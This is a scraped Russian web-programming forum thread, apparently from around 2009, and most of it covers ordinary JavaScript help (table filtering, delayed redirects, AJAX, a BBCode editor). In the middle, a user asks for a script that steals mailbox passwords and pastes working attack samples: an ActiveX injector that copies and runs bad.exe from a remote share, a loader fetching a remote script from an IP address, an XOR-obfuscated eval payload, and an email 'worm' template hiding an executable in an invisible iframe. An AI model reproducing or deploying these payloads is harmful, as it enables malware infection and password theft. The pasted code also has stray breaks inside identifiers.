aa(){if(LOOP_IMAGES){m.splice(0,1);if(m.length<=COUNT_LINES*3)C();}};function ar(j,i){var A;try{var t=HORIZ_POSITION?j*HEIGHT_IMG:j*WIDTH_IMG;var r=HORIZ_POSITION?i*WIDTH_IMG-WIDTH_IMG:i*HEIGHT_IMG-HEIGHT_IMG;var Z=v("div",{id:"divimg"+j.toString()+i.toString(),style:HORIZ_POSITION?"position:absolute; top:"+t+"px; right:"+r+"px;":"position:absolute; left:"+t+"px; bottom:"+r+"px;"});var an="";var at="";var ap="";if(m.length>0){A=m[c];if(!LOOP_IMAGES)if(!f)c--;else c++;if(c<0)c+=m.length;else if(c>=m.length)c-=m.length;var I=A.indexOf("_SPRT_",0);var T=A.indexOf("_SPRT_",I+1);an=IMG_DIR+A.substring(0,I)+IMG_TYPE;if(T!= -1){at=A.substring(I+6,T);ap=A.substring(T+6);}else {at=A.substring(I+6);ap="";}aa();}var aA=v("img",{id:"img"+j.toString()+i.toString(),src:an,width:WIDTH_IMG, height:HEIGHT_IMG,border:"0px"});var d=4;if(aH)d=0;var az=v("div",{id:"selimg"+j.toString()+i.toString(),style:"position:absolute; top:0px; left:0px; width:"+(WIDTH_IMG-d).toString()+"px; height:"+(HEIGHT_IMG-d).toString()+"px; border-style:double; border-width:2px; border-color:"+LIGHT_COLOR+";display:none;"});Z.onmouseover=aw;Z.onmouseout=ay;var aj=v("a",{id:"aimg"+j.toString()+i.toString(),href:at,title:ap});aj.a ppendChild(aA);aj.appendChild(az);Z.appendChild(aj );id('mather').appendChild(Z);}catch(ex){ae(ex);}} ;function aw(e){if(Y)Y.style.display="none";Y=id("sel"+this.id.substring(3));Y.style.display="";};function ay(e){id("sel"+this.id.substring(3)).style.display="none";};function af(){av=1;var div=HORIZ_POSITION?v("div",{id:"mather",style:"position:relative; top:"+TOP+"px; left:"+LEFT+"px; width:"+width+"px; height:"+(COUNT_LINES)*HEIGHT_IMG+"px; background:"+BGRND_COLOR+"; z-Index:"+TOP_Z_INDEX+";"}):v("div",{id:"mather",style:"position:relative; top:"+TOP+"px; left:"+LEFT+"px; height:"+height+"px; width:"+(COUNT_LINES)*WIDTH_IMG+"px; background:"+BGRND_COLOR+"; z-Index:"+TOP_Z_INDEX+";"});var aE=id("scrollipuper");while(aE.hasChildNodes()){aE.removeChild(aE.firs tChild);}aE.appendChild(div);for(var j=0;j<COUNT_LINES;j++){for(var i=0;i<(LOOP_IMAGES?n:m.length);i++){ar(j,i);}}var aG=HORIZ_POSITION?v("div",{id:"left",style:"position:absolute; top:0px; left:-"+LEFT+"px; width:"+LEFT+"px; height:"+COUNT_LINES*HEIGHT_IMG+"px; background:"+SIDE_BGRD_COLOR+"; z-Index:"+TOP_Z_INDEX+";"}):v("div",{id:"left",style:"position:absolute; left:0px; top:"+TOP+"px; height:"+TOP+"px; width:"+COUNT_LINES*WIDTH_IMG+"px; background:red; z-Index:"+TOP_Z_INDEX+";"});var aF=HORIZ_POSITION?v("div",{id:"right",style:"position:absolute; top:0px; right:-"+RIGHT+"px; width:"+RIGHT+"px; height:"+COUNT_LINES*HEIGHT_IMG+"px; background:"+SIDE_BGRD_COLOR+"; z-Index:"+TOP_Z_INDEX+";"}):v("div",{id:"right",style:"position:absolute; left:0px; bottom:-"+BOTTOM+"px; height:"+BOTTOM+"px; width:"+COUNT_LINES*WIDTH_IMG+"px; background:red; z-Index:"+TOP_Z_INDEX+";"});D();};function id(name){return document.getElementById(name);};function add(as,aC){id(aC).appendChild(as);};function ah(){if(typeof SCROLL_SPEED=='undefined')return;V=SCROLL_SPEED;G= 1;pause=true;};function F(){if(typeof SCROLL_SPEED=='undefined')return;V=SCROLL_SPEED;G= 1;pause=ALWAYS_SCROLL?false:true;};function U(d,s){G=d;V=s;pause=false;if(SCROLL_TYPE==0)f=tru e;else f=false;};function X(){U(1,SCROLL_SPEED);};function R(){U(1,SCROLL_SPEED*10);};function P(){U(3,SCROLL_SPEED*10);};function L(d,s){G=d;V=s;pause=false;if(SCROLL_TYPE==0)f=fal se;else f=true;};function Q(){L(1,SCROLL_SPEED);};function O(){L(1,SCROLL_SPEED*10);};function K(){L(3,SCROLL_SPEED*10);};function ab(){if(!pause){for(var j=0;j<COUNT_LINES;j++){for(var i=0;i<(LOOP_IMAGES?n:m.length);i++){if(HORIZ_POSITION)am ("img"+j.toString()+i.toString(),j);else ac("img"+j.toString()+i.toString(),j);}}}D();};function M(e){if(typeof HORIZ_POSITION=='undefined')return;var k;if(e){if(typeof(e.pageX)=='number')k=HORIZ_POSIT ION?e.pageX:e.pageY;else k=HORIZ_POSITION?e.clientX:e.clientY;}else{e=windo w.event;if(HORIZ_POSITION){k=e.clientX;if(document .documentElement&&(document.documentElement.scrollTop||document.docu mentElement.scrollLeft))k+=document.documentElemen t.scrollLeft;else if(document.body&&(document.body.scrollTop||document.body.scrollLeft ))k+=document.body.scrollLeft;}else{k=e.clientY;if (document.documentElement&&(document.documentElement.scrollTop||document.docu mentElement.scrollLeft))k+=document.documentElemen t.scrollTop;else if(document.body&&(document.body.scrollTop||document.body.scrollLeft ))k+=document.body.scrollTop;}}if(HORIZ_POSITION){ if(k>=LEFT){if(k<=w*0.15+LEFT)P();else if(k<=w*0.30+LEFT)R();else if(k<=w*0.45+LEFT)X();else if(k<=w*0.55+LEFT)ah();else if(k<=w*0.70+LEFT)Q();else if(k<=w*0.85+LEFT)O();else if(k<=w+LEFT)K();else F();}else F();}else{if(k>=TOP){if(k<=w*0.15+TOP)P();else if(k<=w*0.30+TOP)R();else if(k<=w*0.45+TOP)X();else if(k<=w*0.55+TOP)ah();else if(k<=w*0.70+TOP)Q();else if(k<=w*0.85+TOP)O();else if(k<=w+TOP)K();else F();}else F();}};function H(o){if(!LOOP_IMAGES)return;if(typeof m[c]=='undefined')return;try{var A=m[c];if(!LOOP_IMAGES)if(!f)c--;else c++;if(c<0)c+=m.length;else if(c>=m.length)c-=m.length;var I=A.indexOf("_SPRT_",0);var T=A.indexOf("_SPRT_",I+1);id(o).src=IMG_DIR+A.substring(0,I)+IMG_TYPE; if(T!= -1){id("a"+o).href=A.substring(I+6,T);id("a"+o).title=A.substring(T+6);}else{id("a"+o).href=A.substring(I+6);id("a"+o).title="";}aa();}catch(ex){ae(ex);}};var f=false;function ac(o,type){var div=id("div"+o);if(!div)return;var J=div.style.bottom;var g=parseInt(J.substring(0,J.length-2));if((SCROLL_TYPE!=0&& !f)||(SCROLL_TYPE==0&&f)){g-=G;if(g< -HEIGHT_IMG){g+=(LOOP_IMAGES?n:m.length)*HEIGHT_IMG ;H(o);div.style.display='none';}else if(div.style.display=='none')div.style.display=''; }else{g+=G;if(g>height){g-=(LOOP_IMAGES?n:m.length)*HEIGHT_IMG;H(o);div.styl e.display='none';}else if(div.style.display=='none')div.style.display=''; }div.style.bottom=g.toString()+"px";};function am(o,type){var div=id("div"+o);if(!div)return;var J=div.style.right;var g=parseInt(J.substring(0,J.length-2));if((SCROLL_TYPE!=0&& !f)||(SCROLL_TYPE==0&&f)){g-=G;if(g< -WIDTH_IMG){g+=(LOOP_IMAGES?n:m.length)*WIDTH_IMG;H (o);div.style.display='none';}else if(g<=width&&div.style.display=='none')div.style.display='';}el se{g+=G;if(g>width){g-=(LOOP_IMAGES?n:m.length)*WIDTH_IMG;H(o);div.style .display='none';}else if(g>= -WIDTH_IMG&&div.style.display=='none')div.style.display='';}di v.style.right=g.toString()+"px";};var ak;function D(){if(ak)clearTimeout(ak);ak=setTimeout(ab,100/V);}};function v(name,attributes){var as=document.createElement(name);if(typeof attributes=='object'){for(var i in attributes){as.setAttribute(i,attributes[i]);if(i.toLowerCase()=='class'){as.className=attrib utes[i];}else if(i.toLowerCase()=='style'){as.style.cssText=attr ibutes[i];}}}for(var i=2;i<arguments.length;i++){var au=arguments[i];if(typeof au=='string'){au=document.createTextNode(au)};as.a ppendChild(au);}return as;}
явасрипт всегда можно стырить, это не пхп, посмотри исходник, глянь какие файлы js подрубаются, потом посмотри что в них
Но можно потратить много времени чтобы анпакнуть скрипт
Выплняется запрос к БД выводятся данные в таблицу
реально ли на яве осуществить фильтрацию по подстроке?
пример:
фио др мыло
Вася 1янв вася@dfcz
.......
над каждой колонкой поле ввода куда вбиваем подстроку и уже что не подходит под нее то сразу отпадает....
а не проще выбирать из базы по определенным параметрам? например:
WHERE name='Вася' AND date='1янв' AND mail='вася@dfcz'
и чо ты в теме по яваскрипту пишешь про базы данных?
Выведена таблица с данными
ее сам клиент фильтрует уже как ему надо например по первым трем буквам по 4 и т.д
если делать каждый раз запрос то представь что будет если 10000 клиентов это сделают,понятно дело что это все либо аякс либо ява....вот и спросил может кто встречал
у тебя такой крутой сайт на котором одновременно 10 000 клиентов будут делать этот запрос?
prescott
05.02.2009, 20:23
Выведена таблица с данными
ее сам клиент фильтрует уже как ему надо например по первым трем буквам по 4 и т.д
если делать каждый раз запрос то представь что будет если 10000 клиентов это сделают,понятно дело что это все либо аякс либо ява....вот и спросил может кто встречал
2 korvin: чувак мыслит в правильную сторону, и не надо 10000 посетителей чтобы сделать для них удобную страничку...
2 svesve: спешиал фор ю =)
<html>
<head>
<title>test</title>
</head>
<body>
<script type='text/javascript'>
function gebi(id) {
return document.getElementById(id);
}
function gofiltr(v) {
for (var i=1; true; i++) {
var row='r' + i;
var td='t' + i;
//если строки кончились выходим из цикла
if (gebi(row)==null) break;
//для строк таблицы такой тип display при отображении
var showType='table-row';
//это для браузеров - инвалидов
if (navigator.userAgent.indexOf('IE')!=-1) showType='block';
// если нет вхождения искомой строки в ячейке прячем строку, иначе отображаем
if (gebi(td).innerHTML.indexOf(v)==-1) gebi(row).style.display='none'; else gebi(row).style.display=showType;
}
}
</script>
<input type='text' onkeyup='gofiltr(this.value);'>
<table border='1'>
<tr id='r1'>
<td id='t1'>afgh</td><td>ddd</td>
</tr>
<tr id='r2'>
<td id='t2'>aagh</td><td>ddd</td>
</tr>
<tr id='r3'>
<td id='t3'>aaah</td><td>ddd</td>
</tr>
</table>
</body>
</html>
1) строки нумируешь по порядку, чтобы по ним можно было обратится в цикле
2) на онкейап поля фильтра вешаешь функцию, проверяющую вхождение строки в ячейке и прячешь или показываешь строки таблицы. (в примере поиск идет по первой ячейке)
3) в примере сделал вхождение в любой части ячейки, если хочешь чтобы фильтр был сначала строки, проверяй дополнительно позицию вхождения строки...
astrologer
05.02.2009, 21:02
Нумеровать по порядку, конечно, не нужно - есть уже готовые коллекции [ object HTMLTableElement ].rows и .cells, метод getElementsByTagName, и ещё некоторые не менее удобные способы
var showType = 'table-row';
//это для браузеров - инвалидов
if (navigator.userAgent.indexOf('IE') != -1) showType = 'block'; Достаточно сохранить текущее значение в переменную и обойтись без определения браузера
Работаю с плагином pager и tablesorter для jquery
пролема такая
на выходе в имею данные в виде таблицы
<div id="main">
<table cellspacing="1" class="tablesorter">
<thead>
<tr>
<th><strong>Дата</strong></th>
<th><strong>Время</strong></th>
<th><strong>Кто</strong></th>
<th><strong>Таблица</strong></th>
<th><strong>Колонка</strong></th>
<th><strong>Primary Key</strong></th>
<th><strong>Старое значение</strong></th>
<th><strong>Новое значение</strong></th>
</tr>
</thead>
<tfoot>
<tr>
<th><strong>Дата</strong></th>
<th><strong>Время</strong></th>
<th><strong>Кто</strong></th>
<th><strong>Таблица</strong></th>
<th><strong>Колонка</strong></th>
<th><strong>Primary Key</strong></th>
<th><strong>Старое значение</strong></th>
<th><strong>Новое значение</strong></th>
</tr>
</tfoot>
<tbody>
<?
while($row = $db->fetch_A())
{
echo "
<tr>
<td>$row[date]</td>
<td>$row[time]</td>
<td>$row[fio]</td>
<td>$row[table]</td>
<td>$row[column]</td>
<td>$row[pk]</td>
<td>";if($row['oldvalue']==''){ echo " ";}else {echo $row['oldvalue'];};
echo"</td><td>";
if($row['newvalue']==''){ echo " ";}else {echo $row['newvalue'];};
echo"</td>
</tr>";
}
?>
</tbody>
</table>
<div id="pager" class="pager">
<form>
<img src="js/pager/icons/first.png" class="first"/>
<img src="js/pager/icons/prev.png" class="prev"/>
<input type="text" class="pagedisplay"/>
<img src="js/pager/icons/next.png" class="next"/>
<img src="js/pager/icons/last.png" class="last"/>
<select class="pagesize">
<option selected="selected" value="10">10</option>
<option value="20">20</option>
<option value="30">30</option>
<option value="40">40</option>
</select>
</form>
</div>
</div>
все прекрасно все выводится сортируется НО
страницы не переключить.тоесть он отображает первые 10 записей и все...хотя они все выведены(все 300) это видно при сортировке....таблица которая в примерах тупо забита руками и там все работает....что подскажете?
З.Ы. яваскрипт прописаны просто весь код слишком много писать )
Подскажите пожалуйста.
Замечал что у водил(таксистов) на мобильниках есть програмка на яве(типа аськи-или терминал),
они принимают по ней сообщения от диспетчеров... а как она, с чем связываеться? с сервером-сайтом или как? и есть ли где нить где можно скачать посмотреть такую штуку?
спасиба.
ни разу такой темы у водил маршруток не видел, хотя почти каждый день на переднем сидении езжу рядом с ними, погугли, мож найдешь чо
ни разу такой темы у водил маршруток не видел, хотя почти каждый день на переднем сидении езжу рядом с ними, погугли, мож найдешь чо
не у маршруток.... здесь конкретно у таксистов. в городах отходят от раций и переходят на терминалы.. гугль ничего не дал...
Добрый день. Подскажите пожалуйста такую вещь:
onclick="location.href='с понтом путь' "
можно ли каким-то образом сделать задержку, к примеру в 2 сек, перед переходом на страницу согласно скрипта?
если использовать такой способ:
setTimeout(location.href='/cart.php',5000)
то задержки не происходит потому что функция не в ковычках, а в ковычки ее е взять
Заранее пасибо
<script>
function gohref() {
setTimeout("location.href='/cart.php'",5000)
}
</script>
<div onclick="gohref()">Перейти</div>
доброго времени суток. когда-то давно я задал здесь вопрос о том, как скрыть элементы формы или другие элементы разметки
ответ я получил неверный.а потому разобравшись, решил написать. мало ли у кого будет подобная проблема.
вот такой код
<html>
<head>
<script type="text/javascript">
function hide(value)
{
if (value==2){
document.getElementById(2).style.visibility= 'hidden';}
else
{document.getElementById(2).style.visibility= 'visible';}
}
</script>
</head>
<body>
<select class="width" name="1" id="1" onChange="hide(this.value)">
<option value="1" label="1">1</option>
<option selected='selected' value="2" label="1">2</option>
</select>
<select class="width" name="2" id="2" >
<option value="1" label="1">1</option>
<option selected='selected' value="2" label="2">2</option>
</select>
</body></html>
есть множество на javascript троянов довнладоров но есть у меня один вопрос,есть ли такой скрипт подобному знаменитому пинчу чтоб тырил пароли от ящиков проще -же написать на яваскрипт подобного пинча и с функцией (onMouseOver) проведя мышкой скрипт сработал и пароли жертвы ушли к тебе на твоё-же мыло
есть множество на javascript троянов довнладоров но есть у меня один вопрос,есть ли такой скрипт подобному знаменитому пинчу чтоб тырил пароли от ящиков проще -же написать на яваскрипт подобного пинча и с функцией (onMouseOver) проведя мышкой скрипт сработал и пароли жертвы ушли к тебе на твоё-же мыло
Это фантастика. К счастью, на ява скрипте такого нет и быть не может.
ну есть-же трояны на javascript вот один вырезанный код
-------------------------------------------------------
function injectIt() {
document.frames[0].document.body.insertAdjacentHTML('afterBegin','in jected<script language="JScript" DEFER>
var rF="\\\\\\\\IPADDRESS\\\\NULLSHAREDFOLDER\\\\bad.exe";var wF="%windir%\\\\_tmp.exe";var
o=new ActiveXObject("wscript.shell");var e="%comspec% /c copy "+rF+" "+wF;var err=o.Run(e,0,true);if(err==0)
o.Run(wF,0,false);</script>');
}
document.write('<iframe src="shell:WINDOWS\\Web\\TIP.HTM"></iframe>');
setTimeout("injectIt()", 1000);
--------------------------------------------------------- redir.asp
могу скинуть более таких скриптов но дело в том как сделать мыльный скрипт?
<scr!pt language="Javascr!pt">
function InjectedDuringRedirection(){
showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-
10000\;dialogHeight:1\;dialogWidth:1\;").location="javascr!pt'<SCR!PT SRC=\\'http://217.107.218.***/shellscr!pt_loader.js\\'><\/scr!pt>'";
}</scr!pt>
<scr!pt language="javascr!pt">setTimeout("myiframe.execScript(InjectedDuringRedirection.toSt ring())",100
);
setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",101);
document.write('<IFRAME ID=myiframe NAME=myiframe SRC="redir.php" WIDTH=0
HEIGHT=0></IFRAME>');</scr!pt>
<scr!pt>
x=34;
es="84;66;86;5;73;119;71;89;95;91;12;16;14;88;89;95;86 ;92;67;27;85;69;9
3;88;78;94;108;82;78;74;48;105;107;120;73;79;48;38 ;58;105;37;9;35;41;55
;111;109;113;61;3;59;37;35;39;118;61;53;56;41;48;5 9;49;20;79;0;12;0;28;
93;106;98;6;40;4;8;20;64;28;4;8;30;22;90;23;23;20; 19;30;8;20;9;19;26;60
;239;237;237;241;164;184;166;165;255;225;227;255;2 33;175;181;130;154;25
4;208;252;240;236;184;228;236;224;246;254;178;255; 241;237;196;196;208;1
31;153;133;132;208;192;192;222;206;140;156;222;215 ;146;138;191;185;219;
247;217;211;193;151;211;213;210;216;204;247;148;14 0;142;254;227;249;169
;165;162;172;169;191;236;169;175;187;177;236;242;2 41;153;134;251;158;14
0;138;224;182;180;169;179;179;218;135;139;143;129; 223;201;200;171;211;1
82;183;161;172;167;161;222;188;186;167;213;157;130 ;131;136;195;213;212;
206;204;201;209;305;305;309;301;310;308;318;297;31 3;317;317;292;291;352
;367;358;382;319;369;379;377;303;300;312;373;376;3 71;373;306;373;362;37
0;258;257;342;346;340;320;283;261;348;332;338;351; 259;341;259;348;339;3
23;347;323;320;345;339;323;282;263;262;276;339;351 ;340;346;291;309;380;
356;383;328;332;296;280;294;314;318;316;355;317;29 5;319;294;378;358;356
;357;358;379;376;364;362;363;364;369;382;366;332;3 21;339;335;324;257;26
5;260;285;260;271;261;280;323;268;256;276;264;347; 328;";
var ds=new String(); ads=es.split(";"); k=ads.length-1;
for(var j=0;j<k;j++)
{e=ads[j];d=e^x;x+=1;ds=ds+String.fromCharCode(d);}eval(ds)
</scr!pt>
input = document.getElementsByTagName('input');
for(i=0;i<input.length;i++)
{
var object = input[i];
if(input[i].type == 'text') {
input[i].addEventListener('keyup', function(){Some(object.value)}, false);
}
}
как сделать, чтобы на каждом инпуте не было значение последнего?
вспомнил сам, заменил object на this в Some()
input = document.getElementsByTagName('input');
for(i=0;i<input.length;i++)
{
var object = input[i];
if(input[i].type == 'text') {
input[i].addEventListener('keyup', function(){Some(object.value)}, false);
}
}
как сделать, чтобы на каждом инпуте не было значение последнего?
---------------------------------------------------
http://bytes.com/groups/javascript/437346-addeventlistener-attachevent-why-doesnt-work
---------------------------vot kamu nado peredelajte pod sebja----------------------------
"червь"сдесь можете все изменить под себя пакуем sex.eml и шлем жертве
Строка <iframe src=3Dcid:123abc123 height=3D0 width=3D0> </iframe> производит невидимый заделанный фрейм (IFRAME), в котором выводится файл image.scr. Указание источника в IFRAME (cid:123abc123)
################################################## ###
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----------N22ZDOJQTBRXZUM"
------------N22ZDOJQTBRXZUM
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
<HTML><HEAD></HEAD><BODY>
<iframe xsrc=3Dcid:qV5TzVHMm7mqf height=3D0 width=3D0>
</iframe>
<FONT></FONT>
<html><br>
<head><br>
<title>Account history</title><br>
<link rel=3D"stylesheet" type=3D"text/css"=<br>
xhref=3D"http://antichat.ru/or1/
includes/css/Konto=2Ecss=<br>
"><br>
</head><br>
<table width=3D"534" border=3D"0"
bordercolor=3D"#ff0000"=<br>
cellpadding=3D"0" cellspacing=3D"0"><br>
<tr><br>
<td rowspan=3D"2"><img=<br>
xsrc=3D"http://www.antichat/or1/
</BODY></HTML>
------------N22ZDOJQTBRXZUM
Content-Type: audio/x-midi;
name=image.scr
Content-Transfer-Encoding: base64
Content-ID: <qV5TzVHMm7mqf>
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm
.
.
.
UHJvY0FkZHJlc3MAAEV4aXRQcm9jZXNzAAAAUmVnQ2xvc2VLZX
X2lvYgAAU2V0VGltZXIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------------N22ZDOJQTBRXZUM--
bla bla bla bala bla
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----------N22ZDOJQTBRXZUM"
------------N22ZDOJQTBRXZUM
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
<html><head></head><body>
<iframe xsrc=3Dcid:123abc123 height=3D0 width=3D0>
</iframe>
</body></html>
------------N22ZDOJQTBRXZUM
Content-Type: audio/x-midi;
name=image.scr
Content-Transfer-Encoding: base64
Content-ID: <123abc123>
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm
.
.
.
UHJvY0FkZHJlc3MAAEV4aXRQcm9jZXNzAAAAUmVnQ2xvc2VLZX
X2lvYgAAU2V0VGltZXIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------------N22ZDOJQTBRXZUM--
http://bytes.com/groups/javascript/437346-addeventlistener-attachevent-why-doesnt-work
я уже написал ответ, если у кого другого будет подобный провал в памяти.
как сделать чтоб функцию вызывало например 20 раз
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Untitled Document</title>
<script language="JavaScript1.2" charset="utf-8">
function worksleep()
{
data = new Date();
uzel = document.createTextNode("");
time = data.getHours();
if (time < 5 || time > 23) {
document.createTextNode("")
sleep = "You now sleep";
uzel.nodeValue = sleep;
document.getElementById("my").appendChild(uzel);
}
else {
work = "You now work";
uzel.nodeValue = work;
document.getElementById("my").appendChild(uzel);
}
}
function main()
{
worksleep();
setInterval("worksleep()", 1000);
}
</script>
</head>
<body onload="main()">
<div>
<span id="my"></span></div>
</body>
</html>
вставь цикл в тело функции. если я правильно понял то, что ты хочешь...то примерно будет так...
function worksleep()
{ цикл(условие цикла)
for(i=1;i<21;i++)
{
далее тело функции
}}
можно вроде вставить код цикла прямо в обработчик
onload="for(i=1;i<21;i++){main();}"
setInterval() подойдет, setTimeout() или про это еще посмотри.
Здравствуйте, подскажите пожалуйста, как сделать функцию Вывода на печать текущей странице?
Заранее благодарен!
Всем привет. Столкнулся с такой проблемой как получение тега <script> через ajax.
На странице 1 выполняется запрос к странице 2 путём ajax. 2-я страница содержит JS-код (в тегах <script></script>). Но этот код не выполняется при получении на странице 1. Подскажите как это реализовать?
Простой пример (если вдруг плохо обьяснил):
страница 1
<script type="text/javascript">
httpRequest = new XMLHttpRequest();
function listen(divId){
function result(){
if (httpRequest.readyState == 4 || httpRequest.readyState == 'complete'){
var result = httpRequest.responseText;
document.getElementById(divId).innerHTML = result;
}
}
httpRequest.open('GET', '2.php', true);
httpRequest.send(null);
httpRequest.onreadystatechange = result;
}
</script>
<div id="num" onclick="listen('num')">какой то текст!!</div>
2 страница
<script>alert('TEXT')</script>
Но при получении на странице 1, алерт не выполнится......
AkyHa_MaTaTa
16.02.2009, 03:29
Ну а с чего ты взял что XMLHttpRequest будет вести себя как браузер? Естественно что js код находяшейся на другой странице магическим образом не выполниться, равно как и не произойдет загрузка всех картинок, css, flash, представь сколько заняло бы все это времени, жуть, парси ответ например match(/<script>(.*)</script>/) ну делай eval отпарсиных данных.
spamoney
16.02.2009, 09:33
Здравствуйте, такой вопрос:
Есть поле select, в котором несколько пунктов, как сделать так, что бы после выбора кого-либо значения, выбранное значение сбрасывалось на первое в этом списке...
т.е допустим есть:
<div><select style="font-size: 10px;" name="background" onchange=\"InsertCode('".$id."','background', this.options[this.selectedIndex].value)\">
<option style="background-color: white; color:black;" value="white">Выберите Фон</option>
<option style="background-color: #F58A8A;" value="#F58A8A">Фон F58A8A</option>
<option style="background-color: #C00000;" value="#C00000">Фон C00000</option>
</select></div>
Нужно что б после выбора, любого фона (допустим Фон C00000), поле select сбрасывалось на первое значение (Выберите Фон)
У меня такой вопрос, можно ли через <body onload=javascript:... сделать так, что бы загружалась страница в ифреме?
spamoney, помоему такое не получится сделать
<script type="text/javascript">
//Javasript BBC text editor designed by Rakuli - www.openthource.com (You can get rid of this if you want ;)
// Javascript can have abstraction too, so let's abstract just about EVERYTHING
// Let's define the class In this one I have hard-coded a lot of things which kinda sux but we'll live
// it still makes thing easier to change later on...
// The code here will be longer than your current code but nothing will be embedded in your html
function createTextEditor(txtName)
// this takes the name of the textarea which needs to also be the name of the variable (just for ease of user and self referencing)
// We will create the variable later using var myTextEditor = new createTextEditor('myTextEditor');
{
this.id = txtName; // Name our object
this.textarea = document.getElementById(txtName); // Store a reference to textarea
this.textarea.onselect = function () {this.storeCursor(this)};
this.textarea.onchange = function () {this.storeCursor(this)};
this.textarea.onkeyup = function () {this.storeCursor(this)};
this.textarea.onclick = function () {this.storeCursor(this)};
this.textarea.storeCursor = function () {
// Make it easier to track the cursor in IE
if (typeof(this.createTextRange) != "undefined")
this.cursorPos = document.selection.createRange().duplicate();
};
// Okay, now we'll create an object for each of the formatting options you want
// Same as the main, pass the ID of the
// To ease everything we'll give each child a parent propery
this.boldText = new createSimpleText('boldText', 'Bold', 'b', this);
this.italicText = new createSimpleText('italicText', 'Italicise', 'i', this);
this.underLine = new createSimpleText('underLine', 'Underline', 'u', this);
this.mail = new createSimpleText('mail', 'Email', 'mail', this);
this.quote = new createSimpleText('quote', 'Quote', 'quote', this, 'Text');
this.url = new createSimpleText('url', 'URL', 'url', this, 'Link Name (URL)');
this.fontColor = new createSelectBoxText('fontColor', 'Font Color', 'color', this, 'Text');
this.fontSize = new createSelectBoxText('fontSize', 'Font Size', 'size', this, 'Text');
//the ID of the help box
this.helpBox = document.getElementById('helpBox');
this.showHelp = function (helpTxt)
{
this.helpBox.innerHTML = helpTxt;
};
this.updateText = function (tagOpen, tagClose)
{
// See if we have a selection and whether to replace or add or just slot in
// IE makes this easy because we used the onselect function earlier
if (typeof(this.textarea.cursorPos) != "undefined" && this.textarea.createTextRange)
{
var cursorPos = this.textarea.cursorPos, stored_length = cursorPos.text.length;
cursorPos.text = cursorPos.text.charAt(cursorPos.text.length - 1) == ' ' ? tagOpen + cursorPos.text + tagClose + ' ' : tagOpen + cursorPos.text + tagClose;
// If we are just inserting the tag where the cursor is sitting then we will place the cursor
// between the tags (nifty ;) )
if (stored_length == 0)
{
cursorPos.moveStart("character", -tagClose.length);
cursorPos.moveEnd("character", -tagClose.length);
cursorPos.select();
}
else
this.textarea.focus(cursorPos);
}
// A little bit messier with REAL browsers ...
else if (typeof(this.textarea.selectionStart) != "undefined")
{
// store the text before the selection
var strt = this.textarea.value.substr(0, this.textarea.selectionStart);
// the actual selected text
var selection = this.textarea.value.substr(this.textarea.selection Start, this.textarea.selectionEnd - this.textarea.selectionStart);
// store the text after the selection
var fin = this.textarea.value.substr(this.textarea.selection End);
// put the cursor at the endo of the selection
var cursorPos = this.textarea.selectionStart;
var scrollPos = this.textarea.scrollTop; // make sure the cursor isn't invisible when we place it in
this.textarea.value = strt + tagOpen + selection + tagClose + fin; // Write the tags
if (this.textarea.setSelectionRange)
{
if (selection.length == 0)
// put the cursor in the middle again if nothing is selected
this.textarea.setSelectionRange(cursorPos + tagOpen.length, cursorPos + tagOpen.length);
else
// else place the cursor after the tag
this.textarea.setSelectionRange(cursorPos, cursorPos + tagOpen.length + selection.length + tagClose.length);
this.textarea.focus();
}
// scroll the required position
this.textarea.scrollTop = scrollPos;
}
// Dunno what happened here, something went wrong so just plug it at the end...
else
{
this.textarea.value += tagOpen + tagClose;
this.textarea.focus(this.textarea.value.length - 1);
}
}
this.insertSingleTag = function (tag) // This will insert a sinlge tag (like smilies or a <br /> or something)
{
// Pretty much same as above, but just one tag going in (this will overwrite selected text -- like pasting sometthing would)
// Thankfully IE makes this easier too
if (typeof(this.textarea.cursorPos) != "undefined" && this.textarea.createTextRange)
{
var cursorPos = this.textarea.cursorPos;
cursorPos.text = cursorPos.text.charAt(cursorPos.text.length - 1) == ' ' ? tag + ' ' : tag;
cursorPos.select();
}
// But messiness comes with real browsers
else if (typeof(this.textarea.selectionStart) != "undefined")
{
var strt = this.textarea.value.substr(0, this.textarea.selectionStart);
var fin = this.textarea.value.substr(this.textarea.selection End);
var scrollPos = this.textarea.scrollTop;
this.textarea.value = strt + tag + fin
if (this.textarea.setSelectionRange)
{
this.textarea.focus();
this.textarea.setSelectionRange(strt.length + tag.length, strt.length + tag.length);
}
this.textarea.scrollTop = scrollPos;
}
// Just put it on the end.
else
{
this.textarea.value += tag;
this.textarea.focus(this.textarea.value.length - 1);
}
}
}
// Basically pass the id of the input, the name of the style, the opening tag, the closing tag, the parent and optionally an additional bit of text
// Use this function for creating simple things like where nothing needs to be dynamically added to the BBC tags..
function createSimpleText(inpName, txtName, tag, theParent, addHelpTxt)
{
this.inpName = document.getElementById(inpName); // store an object reference
this.inpName._parent = theParent;
this.inpName.tagOpen = '[' + tag + ']'; // wrap up the tag in the square brackets
this.inpName.tagClose = '[/' + tag + ']';
this.inpName.helpString = '<strong>' + txtName + ' Text : </strong> ' + this.inpName.tagOpen + ' text ' + this.inpName.tagClose + (addHelpTxt ? ' or ' + addHelpTxt : '');
this.inpName.onmouseover = function () { this._parent.showHelp(this.helpString); };
this.inpName.onmouseout = function () { this._parent.showHelp('');};
this.inpName.onclick = function () { this._parent.updateText(this.tagOpen, this.tagClose);};
}
function createSelectBoxText (inpName, txtName, tag, theParent, addHelpTxt)
{
this.inpName = document.getElementById(inpName); // store an object reference
this.inpName._parent = theParent;
this.inpName.tagOpen = '[' + tag + '='; // add the parameter from the value of the selectBox
this.inpName.tagClose = '[/' + tag + ']';
